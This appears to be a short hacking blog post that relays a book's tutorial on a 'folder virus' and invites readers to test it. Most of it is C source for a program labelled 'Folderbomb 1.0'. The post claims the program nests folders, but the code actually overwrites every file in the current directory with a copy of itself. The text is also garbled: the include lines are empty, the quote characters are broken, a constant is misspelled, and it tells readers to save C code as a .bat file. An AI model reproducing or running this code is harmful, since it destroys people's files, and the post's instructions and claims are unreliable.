Create New Folder Virus
Hey friends While reading hacking crux by rahul tyagi I found a topic about "How to create a new folder virus"....I don't want to test It but if you want then test it nd give me your feedback....
So heres the trutial let's start
NOTE:-It will create folder in a folder in a folder and so on run this on your own responsibility
1.open NoTEPAD and copy the following code in c language
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(‖————————————————————————–‖);
printf(‖\nVirus: Folderbomb 1.0\nProgrammer:BAS
Unnikrishnan(asystem0@gmail.com)\n‖);
cprintf(‖————————————————————————–‖);
done = findfirst(‖*.*‖,&ffblk,0);
while (!done)
{ printf(‖\n‖);cprintf(‖ %s ―, ffblk.ff_name);printf(‖is attacked by
―);cprintf(‖Folderbomb‖);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
2. save this in .bat extension
Rahul‟s Suggestion: - “Well I did not try this virus by my self, so
try this and give me your feedback. But still I do not recommend to
use this virus for bad purpose”
No comments:
Post a Comment